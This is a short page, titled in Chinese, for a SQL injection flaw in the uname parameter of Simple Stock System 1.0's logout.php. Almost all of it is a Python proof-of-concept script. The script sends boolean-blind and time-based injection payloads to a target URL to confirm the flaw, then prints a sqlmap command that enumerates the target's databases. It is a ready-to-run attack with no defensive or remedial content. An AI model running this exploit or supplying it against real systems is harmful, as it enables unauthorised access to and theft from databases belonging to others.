CVE-2025-15011 Simple Stock System 1.0 logout.php SQL注入漏洞

import requests import sys # CVE-2025-15011 SQL Injection PoC # Target: Simple Stock System 1.0 logout.php # Parameter: uname def exploit_sqli(target_url, payload): """Exploit SQL injection in logout.php uname parameter""" params = {'uname': payload} try: response = requests.get(f"{target_url}/logout.php", params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {e}" def test_boolean_blind(target_url): """Test for boolean-based blind SQL injection""" true_payload = "admin' AND 1=1---" false_payload = "admin' AND 1=2---" true_resp = exploit_sqli(target_url, true_payload) false_resp = exploit_sqli(target_url, false_payload) if true_resp != false_resp: print("[+] Boolean-based blind SQL injection confirmed!") return True return False def extract_db_version(target_url): """Extract database version using time-based blind SQL injection""" payload = "admin'; SELECT CASE WHEN (1=1) THEN SLEEP(3) ELSE SLEEP(0) END---" print(f"[*] Testing time-based blind SQL injection...") return exploit_sqli(target_url, payload) if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/stock") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Target: {target}") print(f"[*] Testing CVE-2025-15011 SQL Injection...") if test_boolean_blind(target): print("[+] Vulnerability confirmed!") print("[*] Use SQLMap for further exploitation:") print(f" sqlmap -u '{target}/logout.php?uname=test' --dbs")